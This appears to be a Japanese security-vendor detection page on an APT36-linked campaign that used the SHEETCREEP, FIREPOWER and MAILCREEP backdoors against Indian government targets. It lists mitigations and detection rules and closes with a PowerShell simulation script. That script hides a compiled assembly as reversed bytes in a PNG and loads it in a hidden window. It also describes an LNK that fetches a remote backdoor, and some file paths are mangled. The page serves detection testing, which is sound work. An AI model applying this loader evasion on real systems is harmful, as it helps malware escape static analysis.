APT攻撃がインド政府をターゲットにSHEETCREEP、FIREPOWER、MAILCREEPを使用 | 第2部
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
このレポートは、インド政府機関を侵害するために、3つの特注のバックドア—SHEETCREEP、FIREPOWER、およびMAILCREEP—を展開したSheet Attack作戦をカバーしています。これらのインプラントは、Google Sheets、Firebase Realtime Database、Microsoft Graph APIなど、指揮・制御のために合法的なクラウドプラットフォームを利用しており、通常のSaaSトラフィックに溶け込むのを助けています。また、開発者がコード生成を支援するために生成AIを使用していると一致するアーティファクトも指摘しています。このキャンペーンは、APT36のパキスタンを拠点とするサブグループに関連していると判断されています。
調査
ThreatLabzは、バックドアの動的および静的な分析を行い、持続性の方法、C2ワークフロー、データ抽出行動を文書化しました。また、サポートインフラストラクチャをマッピングし、地理的およびユーザーエージェントに基づくフィルタリングを観察し、AI支援のソース生成を示唆するコードレベルのインジケータをキャプチャしました。
緩和策
疑わしいPDF/LNK配信チェーンのために多層の検出を実施し、PowerShellやVBSの実行を開始するスケジュールされたタスクを監視します。通常C2として悪用されるクラウドサービス、Google Sheets、Firebase、Microsoft Graphの異常監視と厳格なアウトバウンド制御を適用します。既知のペイロードのハッシュベースのブロッキングを使用し、特定された悪意のあるドメインとIPアドレスをブロックします。
対応
検出された場合は、エンドポイントを隔離し、隠しcmd.exeおよびPowerShell活動を終了し、関連するスケジュールされたタスクを削除し、バックドアバイナリを削除します。Google SheetsベースのC2ログおよびFirebaseアーティファクトを保存してレビューし、同じインジケータを示す追加のホストを環境全体で捜索します。
攻撃フロー
検出
Powershellを介したダウンロードまたはアップロード(コマンドライン経由)
表示
Microsoft Graph APIドメインが異常なプロセスで解決されました(dns_query経由)
表示
パブリックユーザープロファイル内の疑わしいファイル(file_event経由)
表示
疑わしいGNU Wget実行試行(コマンドライン経由)
表示
Powershellから疑わしい.NETメソッドを呼び出す(powershell経由)
表示
パブリックユーザープロファイルからの疑わしい実行(process_creation経由)
表示
サードパーティサービス/ツールを通じたデータの可能性のある浸透/流出/C2(dns経由)
表示
アーカイブから抽出された疑わしいファイル(file_event経由)
表示
IOC(SourceIP)を検出する:AAPT攻撃は、インド政府をターゲットにしてSHEETCREEP、FIREPOWER、MAILCREEPを使用 | パート2
表示
IOC(HashMd5)を検出する: AAPT攻撃は、インド政府をターゲットにしてSHEETCREEP、FIREPOWER、MAILCREEPを使用 | パート2
表示
IOC(DestinationIP)を検出する:AAPT攻撃は、インド政府をターゲットにしてSHEETCREEP、FIREPOWER、MAILCREEPを使用 | パート2
表示
IOC(HashSha1)を検出する:AAPT攻撃は、インド政府をターゲットにしてSHEETCREEP、FIREPOWER、MAILCREEPを使用 | パート2
表示
IOC(HashSha256)を検出する:AAPT攻撃は、インド政府をターゲットにしてSHEETCREEP、FIREPOWER、MAILCREEPを使用 | パート2
表示
SHEETCREEPおよびFIREPOWERバックドア展開用のPowerShellコマンドの検出 [Windows Powershell]
表示
SHEETCREEPおよびFIREPOWERバックドアC2通信の検出 [Windowsネットワーク接続]
表示
シミュレーション実行
前提条件: テレメトリー&ベースラインプリフライトチェックが合格している必要があります。
説明: このセクションでは、検出ルールをトリガーするよう設計された敵対者技術(TTP)の正確な実行を詳細に述べています。コマンドと説明は、特定されたTTPを直接反映し、検出ロジックによって期待されるテレメトリーの生成を目的としなければなりません。抽象的または関連のない例は誤診の原因となります。
-
攻撃の説明とコマンド:
- 悪意のあるPNGをステージング:
- 攻撃者はPNGファイルを作成します(
details.png)、実際にはコンパイルされた.NETアセンブリのバイトストリームを含んでいますが、そのバイトが静的解析を回避するために逆になっています。
- 攻撃者はPNGファイルを作成します(
- アセンブリをロードするために隠しモードでPowerShellを起動:
- 攻撃者はPowerShellを
-WindowStyle Hidden -Commandおよび一行のコマンドで逆になったバイトを読み込み、正しい順序に復元し、アセンブリを介して[System.Reflection.Assembly]::Load()をロードし、既知のエントリポイントを呼び出します(Task10.Program::MB()).
- 攻撃者はPowerShellを
- LNKベースのfire-power展開の代替手段:
- 作成された
.lnkショートカットは、powershell.exeを実行します--headless -e(エンコードされたスクリプト) を使用して、リモートPowerShellバックドアをフェッチして実行します。
- 作成された
これらのステップは、Sigmaルールが探している文字列と完全に一致し、警報が発火します。
- 悪意のあるPNGをステージング:
-
回帰テストスクリプト:
# ------------------------------------------------- # SHEETCREEPのペイロードシミュレーション – 正確なコマンドラインを再現 # ------------------------------------------------- # 1. ダミーの.NETアセンブリを作成(シンプルなC#のハローワールド)してコンパイルします $source = @" using System; public class Task10 { public static void MB() { Console.WriteLine("Payload executed"); } } "@ $tempDir = "$env:TEMPsheetcreep" New-Item -ItemType Directory -Force -Path $tempDir | Out-Null $csFile = Join-Path $tempDir "Task10.cs" $dllFile = Join-Path $tempDir "Task10.dll" $source | Set-Content -Path $csFile -Encoding UTF8 # .NET Framework SDKがインストールされていると仮定して、cscを使用してコンパイルします $cscPath = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" & $cscPath /target:library /out:$dllFile $csFile # 2. DLLバイトを読み取り、逆にして.pngファイルに書き込みます $bytes = [IO.File]::ReadAllBytes($dllFile) $revBytes = $bytes[($bytes.Length-1)..0] $pngPath = Join-Path $tempDir "details.png" [IO.File]::WriteAllBytes($pngPath, $revBytes) # 3. 正確な悪意のあるPowerShellコマンドラインを実行します(これによりルールが発火します) $maliciousCmd = '-WindowStyle Hidden -Command "$b=[IO.File]::ReadAllBytes(''details.png'');' + '([System.Reflection.Assembly]::Load([byte[]]($b[($b.Length-1)..0])).GetType("Task10.Program")::MB())"' Start-Process -FilePath "$env:SystemRootSystem32WindowsPowerShellv1.0powershell.exe" ` -ArgumentList $maliciousCmd ` -WindowStyle Hidden ` -NoNewWindow # 検証後のクリーンアップ(オプション) # Remove-Item -Recurse -Force $tempDir -
クリーンアップコマンド:
# テスト用に作成された一時ファイルとディレクトリを削除 $tempDir = "$env:TEMPsheetcreep" if (Test-Path $tempDir) { Remove-Item -Recurse -Force $tempDir }